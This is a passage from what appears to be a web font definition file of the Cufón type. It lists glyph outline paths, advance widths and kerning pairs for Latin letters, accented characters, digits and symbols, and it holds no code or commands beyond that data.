0,-54,21,-69,49,-69xm58,-255v28,0,50,15,50,69v0,54,-22,69,-50,69v-28,0,-49,-15,-49,-69v0,-54,21,-69,49,-69xm207,-111v-15,0,-18,14,-18,47v0,33,3,47,18,47v15,0,18,-14,18,-47v0,-33,-3,-47,-18,-47xm207,-133v28,0,49,15,49,69v0,54,-21,69,-49,69v-28,0,-49,-15,-49,-69v0,-54,21,-69,49,-69","w":380},{"d":"11,-97v0,-60,16,-102,72,-102v57,0,73,42,73,102v0,60,-19,102,-73,102v-54,0,-72,-42,-72,-102xm50,-97v0,49,5,73,33,73v28,0,34,-24,34,-73v0,-43,-6,-73,-34,-73v-28,0,-33,30,-33,73xm66,-265v15,0,48,28,50,-1r22,0v0,16,-10,43,-31,43v-22,-1,-51,-28,-56,2r-22,0v0,-15,10,-44,37,-44","w":166,"k":{"v":2,"w":2,"y":2,"\u00fd":2,"\u00ff":2,",":6,".":6}},{"d":"19,0r0,-194r36,0v1,7,-3,20,2,23v20,-40,97,-43,97,25r0,146r-38,0r0,-133v0,-25,-8,-35,-27,-35v-16,0,-31,13,-31,38r0,130r-39,0xm69,-265v15,0,48,28,50,-1r22,0v0,16,-10,43,-31,43v-22,-1,-51,-29,-55,2r-23,0v0,-15,10,-44,37,-44","w":173},{"d":"138,-55r14,14v-15,32,-38,45,-62,45v-42,-1,-56,-31,-56,-69v-5,5,-11,10,-17,15r-9,-19v10,-9,18,-16,26,-25r0,-95v0,-62,26,-86,54,-86v28,0,41,26,41,60v0,42,-24,84,-62,125v-3,35,9,66,31,66v18,0,31,-16,40,-31xm89,-249v-27,0,-22,84,-22,125v24,-30,41,-63,41,-93v0,-20,-5,-32,-19,-32","w":157},{"d":"116,0r-41,0r0,-185r-53,0r0,-27v28,0,60,-5,64,-43r30,0r0,255","w":172},{"d":"27,11r151,-272r27,0r-152,272r-26,0xm36,-101r0,-110r-32,0v1,-6,-3,-17,2,-20v16,0,37,-3,39,-24r22,0r0,154r-31,0xm247,0r-99,0v0,-72,70,-68,70,-111v0,-13,-7,-21,-19,-21v-17,0,-20,17,-20,28r-31,0v0,-30,14,-50,52,-50v36,0,49,17,49,41v0,49,-54,53,-68,89r66,0r0,24","w":259},{"d":"19,63r0,-257r39,0r0,133v0,25,8,35,27,35v16,0,31,-13,31,-38r0,-130r38,0r0,194r-36,0v-1,-7,2,-18,-1,-23v-13,22,-38,36,-59,22r0,64r-39,0","w":173},{"d":"-11,-257r102,0r0,22r-102,0r0,-22"},{"d":"3,-194r42,0r34,146r31,-146r40,0r-53,201v-16,60,-32,61,-83,58r0,-31v26,6,41,-7,44,-30xm89,-226r0,-39r35,0r0,39r-35,0xm30,-226r0,-39r34,0r0,39r-34,0","w":153,"k":{",":27,".":27,"e":2,"\u00e9":2,"\u00ea":2,"\u00eb":2,"\u00e8":2}},{"d":"242,-104v0,68,-78,75,-112,18v-17,21,-36,38,-63,38v-27,0,-51,-22,-51,-54v0,-32,23,-56,54,-56v25,0,43,16,60,38v15,-17,33,-38,62,-38v29,0,50,22,50,54xm37,-102v0,19,14,34,34,34v20,0,34,-18,47,-33v-14,-19,-27,-37,-50,-37v-20,0,-31,16,-31,36xm189,-138v-21,0,-37,23,-48,35v21,25,32,35,49,35v20,0,31,-18,31,-34v0,-22,-13,-36,-32,-36","w":258},{"d":"100,5v-59,0,-85,-42,-85,-134v0,-92,26,-133,85,-133v59,0,85,41,85,133v0,92,-26,134,-85,134xm100,-26v24,0,44,-15,44,-104v0,-86,-20,-101,-44,-101v-24,0,-44,15,-44,101v0,89,20,104,44,104xm48,-271r33,-52r39,0r32,52r-33,0r-19,-32r-21,32r-31,0","w":200,"k":{"T":11,"V":6,"Y":14,"\u00dd":14,"\u0178":14,",":14,".":14,"A":6,"\u00c6":6,"\u00c1":6,"\u00c2":6,"\u00c4":6,"\u00c0":6,"\u00c5":6,"\u00c3":6,"X":6}},{"d":"18,-211r143,76r0,22r-143,76r0,-25r122,-62r-122,-62r0,-25xm161,-1r-144,0r0,-22r144,0r0,22","w":177},{"d":"170,-125r-63,140r-29,0r-61,-140r63,-141r29,0xm139,-124v-15,-37,-35,-70,-45,-111v-11,37,-31,74,-46,109r46,111v11,-40,30,-72,45,-109","w":187},{"d":"3,-165v0,-36,27,-34,52,-42v19,-1,24,-28,-1,-28v-17,0,-19,10,-19,18r-26,0v0,-24,11,-38,49,-38v24,0,42,8,42,29r0,63v-1,7,5,11,11,8r0,20v-14,7,-36,2,-38,-14v-14,27,-70,22,-70,-16xm71,-197v-13,8,-41,8,-37,30v0,6,5,13,15,13v21,0,24,-20,22,-43","w":113},{"d":"93,-128r0,-54r30,0r0,54r76,0r0,31r-76,0r0,55r-30,0r0,-55r-76,0r0,-31r76,0xm17,0r0,-31r182,0r0,31r-182,0","w":216},{"d":"22,-265v15,0,48,28,50,-1r22,0v0,16,-10,43,-31,43v-22,-1,-51,-29,-55,2r-22,0v0,-15,9,-44,36,-44"},{"d":"61,-69v-11,-70,50,-67,52,-124v0,-20,-7,-38,-29,-38v-24,0,-33,21,-33,51r-38,0v0,-45,19,-82,71,-82v45,0,70,25,70,69v-1,69,-64,67,-56,124r-37,0xm58,0r0,-41r41,0r0,41r-41,0","w":166},{"d":"100,5v-59,0,-85,-42,-85,-134v0,-92,26,-133,85,-133v59,0,85,41,85,133v0,92,-26,134,-85,134xm100,-26v24,0,44,-15,44,-104v0,-86,-20,-101,-44,-101v-24,0,-44,15,-44,101v0,89,20,104,44,104xm113,-279r0,-39r34,0r0,39r-34,0xm53,-279r0,-39r34,0r0,39r-34,0","w":200,"k":{"T":11,"V":6,"Y":14,"\u00dd":14,"\u0178":14,",":14,".":14,"A":6,"\u00c6":6,"\u00c1":6,"\u00c2":6,"\u00c4":6,"\u00c0":6,"\u00c5":6,"\u00c3":6,"X":6}},{"d":"21,0r0,-257r139,0r0,35r-98,0r0,71r92,0r0,34r-92,0r0,82r101,0r0,35r-142,0xm104,-279r0,-39r34,0r0,39r-34,0xm44,-279r0,-39r34,0r0,39r-34,0","w":173},{"d":"177,-157r-23,0r0,107v0,27,2,40,4,50r-32,0v-11,-32,-4,-111,-6,-157r-48,0v-2,41,-9,118,-21,157r-33,0v12,-42,20,-114,21,-157v-17,0,-26,2,-32,4r-4,-24v35,-20,122,-8,177,-11","w":185},{"d":"63,0r0,-222r-61,0r0,-35r163,0r0,35r-61,0r0,222r-41,0","w":166,"k":{"\u00fc":27,"\u00f2":27,"\u00f6":27,"\u00ec":6,"\u00ee":6,"\u00ed":6,"\u00e8":27,"\u00eb":27,"\u00ea":27,"\u00e3":27,"\u00e5":27,"\u00e0":27,"\u00e4":27,"\u00e2":27,"w":27,"y":27,"\u00fd":27,"\u00ff":27,",":33,".":33,"A":20,"\u00c6":20,"\u00c1":20,"\u00c2":20,"\u00c4":20,"\u00c0":20,"\u00c5":20,"\u00c3":20,"r":27,"e":27,"\u00e9":27,"o":27,"\u00f8":27,"\u0153":27,"\u00f3":27,"\u00f4":27,"\u00f5":27,"a":27,"\u00e6":27,"\u00e1":27,"-":27,"i":6,"\u00ef":6,"O":11,"\u00d8":11,"\u0152":11,"\u00d3":11,"\u00d4":11,"\u00d6":11,"\u00d2":11,"\u00d5":11,"u":27,"\u00fa":27,"\u00fb":27,"\u00f9":27,":":27,";":27}},{"d":"93,-107r0,-75r30,0r0,75r76,0r0,31r-76,0r0,76r-30,0r0,-76r-76,0r0,-31r76,0","w":216},{"d":"144,-118r57,0v1,-28,-3,-55,-28,-54v-26,1,-30,32,-29,54xm240,-92r-97,0v-1,33,2,70,29,70v28,0,31,-31,31,-43r36,0v0,43,-26,70,-68,70v-38,0,-48,-23,-53,-35v-19,51,-107,48,-107,-19v0,-56,39,-57,79,-68v13,-3,16,-7,16,-26v0,-18,-6,-29,-24,-29v-26,0,-29,18,-29,37r-37,0v0,-41,17,-64,68,-64v32,0,43,18,46,25v9,-16,26,-25,47,-25v56,-1,65,46,63,107xm73,-24v34,0,36,-38,34,-75v-4,5,-19,8,-29,11v-26,7,-28,20,-28,37v0,14,9,27,23,27","w":253},{"w":86},{"d":"199,-104r0,26r-182,82r0,-31r145,-64r-145,-64r0,-31","w":216},{"d":"153,-92r-101,0v0,32,0,70,33,70v28,0,31,-31,31,-43r36,0v0,43,-26,70,-68,70v-32,0,-71,-9,-71,-99v0,-51,11,-105,72,-105v61,0,70,45,68,107xm52,-118r62,0v1,-28,-3,-54,-29,-54v-26,0,-34,27,-33,54xm81,-219r-38,-52r43,0r22,52r-27,0","w":166,"k":{",":13,".":13,"x":2}},{"d":"42,-170r0,-22v20,3,32,-8,32,-21v0,-9,-5,-20,-18,-20v-14,0,-19,13,-19,22r-31,0v0,-29,20,-44,52,-44v22,0,47,12,47,39v1,17,-15,30,-29,35v18,1,33,13,33,35v0,30,-22,48,-53,48v-35,0,-52,-14,-52,-46r31,0v0,9,4,23,21,23v16,0,22,-12,22,-25v0,-18,-13,-26,-36,-24","w":112},{"d":"21,0r0,-257r64,0r46,190r45,-190r63,0r0,257r-39,0r-1,-214r-52,214r-34,0r-53,-214r0,214r-39,0","w":259},{"d":"146,-151r0,111v-1,9,8,16,16,12r0,25v-19,10,-50,4,-52,-20v-20,44,-99,37,-99,-26v0,-57,36,-57,75,-69v14,-4,23,-8,23,-25v0,-18,-6,-29,-27,-29v-26,0,-29,18,-29,37r-37,0v0,-41,17,-64,68,-64v34,0,62,14,62,48xm109,-102v-20,15,-59,12,-59,49v0,16,8,29,24,29v34,2,37,-40,35,-78xm66,-265v15,0,48,28,50,-1r22,0v0,16,-10,43,-31,43v-22,-1,-51,-28,-56,2r-22,0v0,-15,10,-44,37,-44","w":166},{"d":"21,0r0,-194r38,0r0,194r-38,0xm-12,-219r33,-52r39,0r32,52r-33,0r-19,-32r-21,32r-31,0"},{"d":"65,0r0,-100r-66,-157r45,0r43,111r45,-111r43,0r-69,157r0,100r-41,0xm99,-279r0,-39r35,0r0,39r-35,0xm40,-279r0,-39r34,0r0,39r-34,0","w":173,"k":{",":40,".":40,"A":20,"\u00c6":20,"\u00c1":20,"\u00c2":20,"\u00c4":20,"\u00c0":20,"\u00c5":20,"\u00c3":20,"e":20,"\u00e9":20,"\u00ea":20,"\u00eb":20,"\u00e8":20,"o":20,"\u00f8":20,"\u0153":20,"\u00f3":20,"\u00f4":20,"\u00f6":20,"\u00f2":20,"\u00f5":20,"a":20,"\u00e6":20,"\u00e1":20,"\u00e2":20,"\u00e4":20,"\u00e0":20,"\u00e5":20,"\u00e3":20,"-":27,"i":6,"\u00ed":6,"\u00ee":6,"\u00ef":6,"\u00ec":6,"O":14,"\u00d8":14,"\u0152":14,"\u00d3":14,"\u00d4":14,"\u00d6":14,"\u00d2":14,"\u00d5":14,"u":18,"\u00fa":18,"\u00fb":18,"\u00fc":18,"\u00f9":18,":":13,";":13,"S":6,"\u0160":6}},{"d":"6,-77r39,0v0,26,0,51,27,51v27,0,27,-25,27,-51r0,-180r41,0r0,186v0,57,-28,76,-69,76v-60,0,-66,-36,-65,-82","w":159,"k":{",":14,".":14}},{"d":"21,0r0,-257r41,0r0,103r76,0r0,-103r41,0r0,257r-41,0r0,-120r-76,0r0,120r-41,0","w":200},{"d":"-59,11r152,-272r26,0r-151,272r-27,0","w":60},{"d":"146,-151r0,111v-1,9,8,16,16,12r0,25v-19,10,-50,4,-52,-20v-20,44,-99,37,-99,-26v0,-57,36,-57,75,-69v14,-4,23,-8,23,-25v0,-18,-6,-29,-27,-29v-26,0,-29,18,-29,37r-37,0v0,-41,17,-64,68,-64v34,0,62,14,62,48xm109,-102v-20,15,-59,12,-59,49v0,16,8,29,24,29v34,2,37,-40,35,-78xm63,-252v0,11,10,21,21,21v11,0,20,-10,20,-21v0,-11,-9,-20,-20,-20v-11,0,-21,9,-21,20xm45,-252v0,-21,18,-38,39,-38v21,0,38,17,38,38v0,21,-17,39,-38,39v-21,0,-39,-18,-39,-39","w":166},{"d":"118,0v-1,-7,2,-18,-1,-23v-25,40,-98,46,-98,-35r0,-136r39,0r0,139v0,22,9,29,26,29v17,0,32,-10,32,-32r0,-136r38,0r0,194r-36,0xm35,-219r33,-52r39,0r32,52r-33,0r-20,-32r-20,32r-31,0","w":173},{"d":"100,5v-59,0,-85,-42,-85,-134v0,-92,26,-133,85,-133v59,0,85,41,85,133v0,92,-26,134,-85,134xm100,-26v24,0,44,-15,44,-104v0,-86,-20,-101,-44,-101v-24,0,-44,15,-44,101v0,89,20,104,44,104xm82,-317v15,1,47,26,50,-1r22,0v0,16,-10,42,-31,42v0,0,-50,-27,-55,2r-22,0v0,-15,9,-43,36,-43","w":200,"k":{"T":11,"V":6,"Y":14,"\u00dd":14,"\u0178":14,",":14,".":14,"A":6,"\u00c6":6,"\u00c1":6,"\u00c2":6,"\u00c4":6,"\u00c0":6,"\u00c5":6,"\u00c3":6,"X":6}},{"d":"58,0r-60,-257r43,0r45,205r46,-205r43,0r-64,257r-53,0","w":173,"k":{"\u00f6":6,"\u00f4":6,"\u00e8":6,"\u00eb":6,"\u00ea":6,"\u00e3":6,"\u00e5":6,"\u00e0":6,"\u00e4":6,"\u00e2":6,",":33,".":33,"A":13,"\u00c6":13,"\u00c1":13,"\u00c2":13,"\u00c4":13,"\u00c0":13,"\u00c5":13,"\u00c3":13,"e":6,"\u00e9":6,"o":6,"\u00f8":6,"\u0153":6,"\u00f3":6,"\u00f2":6,"\u00f5":6,"a":6,"\u00e6":6,"\u00e1":6,"-":6,"u":6,"\u00fa":6,"\u00fb":6,"\u00fc":6,"\u00f9":6,":":6,";":6}},{"d":"18,-257r41,0r0,184v0,32,13,47,38,47v24,0,37,-15,37,-47r0,-184r41,0r0,181v0,59,-29,81,-78,81v-49,0,-79,-22,-79,-81r0,-181xm90,-271r-38,-52r43,0r22,52r-27,0","w":193,"k":{",":11,".":11}},{"d":"187,-300r-70,351r-28,0r-48,-161r-24,9r-6,-21r51,-20r41,148r60,-306r24,0","w":187},{"d":"56,-109r0,-124r-44,0r0,-24r119,0r0,24r-44,0r0,124r-31,0xm298,-109r-1,-117r-43,117r-20,0r-45,-117r0,117r-28,0r0,-148r42,0r41,105r40,-105r43,0r0,148r-29,0","w":360},{"d":"21,0r0,-194r38,0r0,194r-38,0xm53,-226r0,-39r34,0r0,39r-34,0xm-7,-226r0,-39r34,0r0,39r-34,0"},{"d":"11,-97v0,-60,16,-102,72,-102v57,0,73,42,73,102v0,60,-19,102,-73,102v-54,0,-72,-42,-72,-102xm50,-97v0,49,5,73,33,73v28,0,34,-24,34,-73v0,-43,-6,-73,-34,-73v-28,0,-33,30,-33,73xm77,-219r-38,-52r43,0r21,52r-26,0","w":166,"k":{"v":2,"w":2,"y":2,"\u00fd":2,"\u00ff":2,",":6,".":6}},{"d":"62,-149v39,3,71,-2,70,-40v-1,-43,-33,-37,-70,-37r0,77xm62,-31v44,1,79,3,79,-45v0,-44,-35,-47,-79,-44r0,89xm21,0r0,-257v72,1,153,-15,153,62v0,31,-12,51,-38,59v28,5,46,22,46,66v0,43,-31,70,-79,70r-82,0","w":193,"k":{",":11,".":11}},{"d":"35,0r18,0r-15,21v20,-7,42,5,42,24v0,33,-51,39,-78,27r6,-15v13,5,42,11,43,-9v1,-20,-30,-5,-36,-17"},{"d":"118,0v-1,-7,2,-18,-1,-23v-25,40,-98,46,-98,-35r0,-136r39,0r0,139v0,22,9,29,26,29v17,0,32,-10,32,-32r0,-136r38,0r0,194r-36,0xm80,-219r-38,-52r43,0r22,52r-27,0","w":173},{"d":"146,-151r0,111v-1,9,8,16,16,12r0,25v-19,10,-50,4,-52,-20v-20,44,-99,37,-99,-26v0,-57,36,-57,75,-69v14,-4,23,-8,23,-25v0,-18,-6,-29,-27,-29v-26,0,-29,18,-29,37r-37,0v0,-41,17,-64,68,-64v34,0,62,14,62,48xm109,-102v-20,15,-59,12,-59,49v0,16,8,29,24,29v34,2,37,-40,35,-78xm77,-219r-38,-52r43,0r21,52r-26,0","w":166},{"d":"18,-257r41,0r0,184v0,32,13,47,38,47v24,0,37,-15,37,-47r0,-184r41,0r0,181v0,59,-29,81,-78,81v-49,0,-79,-22,-79,-81r0,-181xm109,-279r0,-39r35,0r0,39r-35,0xm50,-279r0,-39r34,0r0,39r-34,0","w":193,"k":{",":11,".":11}},{"d":"9,0r0,-30r85,-131r-80,0r0,-33r124,0r0,32r-82,129r82,0r0,33r-129,0xm54,-219r-32,-52r32,0r20,32r20,-32r31,0r-32,52r-39,0","w":146},{"d":"18,-257r41,0r0,184v0,32,13,47,38,47v24,0,37,-15,37,-47r0,-184r41,0r0,181v0,59,-29,81,-78,81v-49,0,-79,-22,-79,-81r0,-181xm45,-271r33,-52r39,0r32,52r-33,0r-20,-32r-20,32r-31,0","w":193,"k":{",":11,".":11}},{"d":"21,0r0,-194r38,0r0,194r-38,0xm33,-219r-38,-52r43,0r22,52r-27,0"},{"d":"21,0r0,-257r137,0r0,35r-96,0r0,71r91,0r0,34r-91,0r0,117r-41,0","w":166,"k":{",":46,".":46,"A":13,"\u00c6":13,"\u00c1":13,"\u00c2":13,"\u00c4":13,"\u00c0":13,"\u00c5":13,"\u00c3":13}},{"d":"3,-194r42,0r34,146r31,-146r40,0r-53,201v-16,60,-32,61,-83,58r0,-31v26,6,41,-7,44,-30xm57,-219r21,-52r44,0r-38,52r-27,0","w":153,"k":{",":27,".":27,"e":2,"\u00e9":2,"\u00ea":2,"\u00eb":2,"\u00e8":2}},{"d":"-8,-267r22,0v0,9,9,24,26,24v17,0,26,-15,26,-24r22,0v0,27,-17,48,-48,48v-31,0,-48,-21,-48,-48"},{"d":"64,-96r61,0r-31,-126xm-3,0r73,-257r52,0r68,257r-43,0r-16,-63r-75,0r-16,63r-43,0xm76,-271r22,-52r43,0r-38,52r-27,0","w":186,"k":{"v":6,"T":20,"V":11,"w":6,"W":11,"y":6,"\u00fd":6,"\u00ff":6,"Y":20,"\u00dd":20,"\u0178":20,"\u201d":20,"\u2019":20}},{"d":"17,0r0,-257r41,0r0,222r99,0r0,35r-140,0","w":159,"k":{"T":33,"V":27,"W":27,"y":13,"\u00fd":13,"\u00ff":13,"Y":33,"\u00dd":33,"\u0178":33,"\u201d":40,"\u2019":40}},{"d":"139,-137r-37,0v1,-19,-3,-34,-25,-35v-15,0,-28,7,-28,25v0,24,32,30,52,37v29,10,42,25,42,56v0,41,-30,59,-69,59v-52,0,-65,-25,-64,-67r35,0v-1,25,6,40,30,40v39,0,41,-46,10,-56v-34,-11,-73,-22,-73,-67v0,-36,26,-54,66,-54v53,0,62,29,61,62xm57,-219r-32,-52r33,0r19,32r21,-32r31,0r-33,52r-39,0","w":153},{"d":"167,23r-27,-27v-77,29,-125,-14,-125,-125v0,-92,26,-133,85,-133v59,0,85,41,85,133v0,48,-8,83,-20,102r26,28xm95,-48r24,-23r17,17v6,-15,8,-40,8,-76v0,-86,-20,-101,-44,-101v-24,0,-44,15,-44,101v0,98,16,108,59,102","w":200,"k":{",":6,".":6}},{"d":"118,0v-1,-7,2,-18,-1,-23v-25,40,-98,46,-98,-35r0,-136r39,0r0,139v0,22,9,29,26,29v17,0,32,-10,32,-32r0,-136r38,0r0,194r-36,0xm99,-226r0,-39r35,0r0,39r-35,0xm40,-226r0,-39r34,0r0,39r-34,0","w":173},{"d":"9,0r0,-22r74,-234r40,0r71,233r0,23r-185,0xm44,-29r115,0r-58,-183v-15,58,-38,126,-57,183","w":204},{"d":"11,-71r39,0v0,22,7,47,35,47v26,0,36,-20,36,-45v1,-37,-18,-52,-58,-48r0,-29v35,4,53,-12,52,-43v0,-18,-9,-37,-30,-37v-25,0,-32,22,-32,45r-39,0v0,-48,24,-74,73,-74v31,0,69,14,69,65v1,27,-18,51,-41,57v26,2,47,23,47,59v0,50,-25,79,-78,79v-46,0,-73,-23,-73,-76","w":172},{"d":"-12,-219r33,-52r39,0r32,52r-33,0r-19,-32r-21,32r-31,0"},{"d":"14,-57r41,0v0,15,6,33,27,33v38,1,43,-54,40,-88v-33,50,-113,29,-113,-49v0,-59,24,-94,78,-94v64,0,77,49,77,122v0,76,-15,138,-82,138v-45,0,-68,-20,-68,-62xm119,-173v0,-30,-11,-53,-35,-53v-25,0,-34,25,-34,55v0,35,11,55,34,55v30,0,35,-26,35,-57","w":172},{"d":"54,0r-51,-194r41,0r35,153r30,-153r42,0r-51,194r-46,0","w":153,"k":{",":27,".":27,"a":4,"\u00e6":4,"\u00e1":4,"\u00e2":4,"\u00e4":4,"\u00e0":4,"\u00e5":4,"\u00e3":4}},{"d":"146,-151r0,111v-1,9,8,16,16,12r0,25v-19,10,-50,4,-52,-20v-20,44,-99,37,-99,-26v0,-57,36,-57,75,-69v14,-4,23,-8,23,-25v0,-18,-6,-29,-27,-29v-26,0,-29,18,-29,37r-37,0v0,-41,17,-64,68,-64v34,0,62,14,62,48xm109,-102v-20,15,-59,12,-59,49v0,16,8,29,24,29v34,2,37,-40,35,-78xm32,-219r32,-52r39,0r32,52r-32,0r-20,-32r-20,32r-31,0","w":166},{"d":"52,0r-50,-257r42,0r34,200r34,-200r43,0r35,201r34,-201r41,0r-52,257r-47,0r-34,-194r-33,194r-47,0","w":266,"k":{"\u00f6":6,"\u00ea":6,"\u00e4":6,"y":6,"\u00fd":6,"\u00ff":6,",":27,".":27,"A":11,"\u00c6":11,"\u00c1":11,"\u00c2":11,"\u00c4":11,"\u00c0":11,"\u00c5":11,"\u00c3":11,"e":6,"\u00e9":6,"\u00eb":6,"\u00e8":6,"o":6,"\u00f8":6,"\u0153":6,"\u00f3":6,"\u00f4":6,"\u00f2":6,"\u00f5":6,"a":6,"\u00e6":6,"\u00e1":6,"\u00e2":6,"\u00e0":6,"\u00e5":6,"\u00e3":6,"-":6}},{"d":"21,0r0,-194r38,0r0,194r-38,0xm21,-221r0,-39r38,0r0,39r-38,0"},{"d":"21,0r0,-257r41,0r1,112r78,-112r45,0r-74,108r82,149r-47,0r-62,-116r-23,33r0,83r-41,0","w":186},{"d":"20,-252v0,11,9,21,20,21v11,0,20,-10,20,-21v0,-11,-9,-20,-20,-20v-11,0,-20,9,-20,20xm2,-252v0,-21,17,-38,38,-38v21,0,38,17,38,38v0,21,-17,39,-38,39v-21,0,-38,-18,-38,-39"},{"d":"31,0r0,-165r-27,0r0,-29r27,0v-6,-53,19,-73,70,-65r0,30v-26,-3,-36,8,-32,35r32,0r0,29r-32,0r0,165r-38,0","w":100,"k":{"\u201d":-6,"\u2019":-6,",":13,".":13}},{"d":"160,-37r-142,-76r0,-22r142,-76r0,25r-121,62r121,62r0,25xm161,-1r-145,0r0,-22r145,0r0,22","w":177},{"d":"0,0r68,-131r-62,-126r45,0r41,85r40,-85r45,0r-63,126r66,131r-45,0r-45,-93r-46,93r-44,0","w":180},{"d":"153,-92r-101,0v0,32,0,70,33,70v28,0,31,-31,31,-43r36,0v0,43,-26,70,-68,70v-32,0,-71,-9,-71,-99v0,-51,11,-105,72,-105v61,0,70,45,68,107xm52,-118r62,0v1,-28,-3,-54,-29,-54v-26,0,-34,27,-33,54xm100,-226r0,-39r35,0r0,39r-35,0xm41,-226r0,-39r34,0r0,39r-34,0","w":166,"k":{",":13,".":13,"x":2}},{"d":"21,-194r38,0r0,207v1,47,-26,57,-68,52r0,-30v21,1,30,-1,30,-26r0,-203xm21,-260r38,0r0,39r-38,0r0,-39"},{"d":"34,-156r38,0v11,-46,10,-103,69,-101v10,0,19,1,27,3r-5,27v-43,-14,-46,38,-54,71r40,0r-4,24r-41,0r-27,134v-7,48,-36,68,-86,59r6,-28v24,6,37,-1,43,-28r28,-137r-38,0","w":172},{"d":"6,0r0,-32r108,-190r-101,0r0,-35r146,0r0,35r-108,187r109,0r0,35r-154,0xm64,-271r-32,-52r32,0r20,31r20,-31r31,0r-32,52r-39,0","w":166},{"d":"78,5r-82,-267r32,0r82,267r-32,0","w":106},{"d":"19,0r0,-257r41,0r0,257r-41,0xm-12,-271r33,-52r39,0r32,52r-33,0r-19,-32r-21,32r-31,0"},{"d":"130,-94v-4,-35,-41,-38,-64,-55v-10,7,-24,16,-23,31v2,25,50,38,69,54v8,-8,20,-16,18,-30xm153,-206r-39,0v0,-18,-10,-27,-28,-27v-37,0,-35,38,-1,54v32,15,80,35,80,80v0,21,-12,39,-29,50v43,36,11,105,-48,105v-48,0,-70,-28,-70,-66r39,0v0,20,9,35,31,35v15,0,27,-10,27,-27v0,-57,-108,-45,-106,-111v0,-24,15,-42,33,-52v-47,-28,-15,-97,45,-97v53,0,66,32,66,56","w":173},{"d":"100,5v-59,0,-85,-42,-85,-134v0,-92,26,-133,85,-133v59,0,85,41,85,133v0,92,-26,134,-85,134xm100,-26v24,0,44,-15,44,-104v0,-86,-20,-101,-44,-101v-24,0,-44,15,-44,101v0,89,20,104,44,104","w":200,"k":{"T":11,"V":6,"Y":14,"\u00dd":14,"\u0178":14,",":14,".":14,"A":6,"\u00c6":6,"\u00c1":6,"\u00c2":6,"\u00c4":6,"\u00c0":6,"\u00c5":6,"\u00c3":6,"X":6}},{"d":"118,0v-1,-7,2,-18,-1,-23v-25,40,-98,46,-98,-35r0,-136r39,0r0,139v0,22,9,29,26,29v17,0,32,-10,32,-32r0,-136r38,0r0,194r-36,0xm67,-219r22,-52r43,0r-38,52r-27,0","w":173},{"d":"28,66r0,-323r73,0r0,29r-37,0r0,265r37,0r0,29r-73,0","w":100},{"d":"165,-101r-57,-118r-57,118r-30,0r73,-149r27,0r74,149r-30,0","w":216},{"d":"118,0v-1,-7,2,-18,-1,-24v-5,13,-14,29,-42,29v-45,0,-64,-37,-64,-104v0,-86,30,-100,60,-100v22,-1,36,13,45,28r0,-86r38,0r0,257r-36,0xm118,-95v0,-46,-6,-73,-36,-73v-22,0,-30,18,-30,70v0,44,6,72,33,72v27,0,33,-28,33,-69","w":173,"k":{"y":2,"\u00fd":2,"\u00ff":2}},{"d":"19,0r0,-194r39,0r0,31v10,-25,28,-41,55,-34r0,39v-29,-5,-55,-2,-55,42r0,116r-39,0","w":113,"k":{"v":-6,"y":-6,"\u00fd":-6,"\u00ff":-6,"\u2019":-4,",":33,".":33,"e":2,"\u00e9":2,"\u00ea":2,"\u00eb":2,"\u00e8":2,"a":2,"\u00e6":2,"\u00e1":2,"\u00e2":2,"\u00e4":2,"\u00e0":2,"\u00e5":2,"\u00e3":2,"c":2,"\u00e7":2,"d":2,"\u0131":2,"g":2,"m":-4,"n":-4,"\u00f1":-4,"q":4,"-":20}},{"d":"24,-154v1,-50,-8,-95,41,-103r0,21v-12,3,-19,16,-18,34r18,0r0,48r-41,0xm88,-154v1,-50,-8,-95,41,-103r0,21v-12,3,-19,16,-18,34r18,0r0,48r-41,0","w":153,"k":{"A":20,"\u00c6":20,"\u00c1":20,"\u00c2":20,"\u00c4":20,"\u00c0":20,"\u00c5":20,"\u00c3":20}},{"d":"148,0r0,-30v-11,24,-27,35,-57,35v-56,0,-76,-42,-76,-134v0,-92,26,-133,85,-133v66,0,77,49,76,79r-39,0v1,-24,-6,-48,-36,-48v-29,0,-45,19,-45,101v0,83,14,104,42,104v31,0,42,-22,42,-78r-43,0r0,-31r82,0r0,135r-31,0","w":193,"k":{",":6,".":6}},{"d":"107,-141r45,63v7,-11,11,-27,10,-44r32,0v0,19,-3,45,-22,73r35,49r-44,0r-15,-22v-17,15,-36,27,-65,27v-96,0,-91,-100,-39,-138r16,-12v-10,-16,-27,-37,-27,-57v0,-37,28,-55,62,-55v19,0,56,9,56,52v1,30,-23,49,-44,64xm68,-208v0,14,13,53,30,35v21,-12,29,-57,-6,-57v-10,0,-24,5,-24,22xm78,-121v-16,13,-32,29,-32,52v0,43,64,53,84,21","w":206},{"d":"21,0r0,-257r139,0r0,35r-98,0r0,71r92,0r0,34r-92,0r0,82r101,0r0,35r-142,0","w":173},{"d":"94,-103r0,77v45,-6,41,-72,0,-77xm78,-150r0,-74v-15,1,-28,13,-28,36v0,17,9,29,28,38xm78,36r0,-31v-64,-5,-73,-42,-72,-82r41,0v-1,30,6,47,31,51r0,-83v-39,-13,-69,-33,-69,-75v0,-41,30,-71,69,-71r0,-25r16,0r0,25v57,2,69,39,68,71r-41,0v1,-22,-4,-38,-27,-40r0,80v38,12,73,31,73,74v0,50,-28,72,-73,75r0,31r-16,0","w":172},{"d":"65,0r0,-100r-66,-157r45,0r43,111r45,-111r43,0r-69,157r0,100r-41,0xm67,-271r22,-52r43,0r-38,52r-27,0","w":173,"k":{",":40,".":40,"A":20,"\u00c6":20,"\u00c1":20,"\u00c2":20,"\u00c4":20,"\u00c0":20,"\u00c5":20,"\u00c3":20,"e":20,"\u00e9":20,"\u00ea":20,"\u00eb":20,"\u00e8":20,"o":20,"\u00f8":20,"\u0153":20,"\u00f3":20,"\u00f4":20,"\u00f6":20,"\u00f2":20,"\u00f5":20,"a":20,"\u00e6":20,"\u00e1":20,"\u00e2":20,"\u00e4":20,"\u00e0":20,"\u00e5":20,"\u00e3":20,"-":27,"i":6,"\u00ed":6,"\u00ee":6,"\u00ef":6,"\u00ec":6,"O":14,"\u00d8":14,"\u0152":14,"\u00d3":14,"\u00d4":14,"\u00d6":14,"\u00d2":14,"\u00d5":14,"u":18,"\u00fa":18,"\u00fb":18,"\u00fc":18,"\u00f9":18,":":13,";":13,"S":6,"\u0160":6}},{"d":"23,0r0,-48r41,0v-1,50,8,95,-41,103r0,-20v12,-3,19,-17,18,-35r-18,0xm23,-137r0,-47r41,0r0,47r-41,0","w":86},{"d":"-59,11r152,-272r26,0r-151,272r-27,0","w":60},{"d":"17,-84r0,-41r52,-48r0,39r-32,30r32,29r0,40","w":86},{"d":"66,0r0,-58r-51,0r0,-25r51,0v0,-10,0,-20,-4,-25r-47,0r0,-24r36,0r-50,-118r44,0r41,102r43,-102r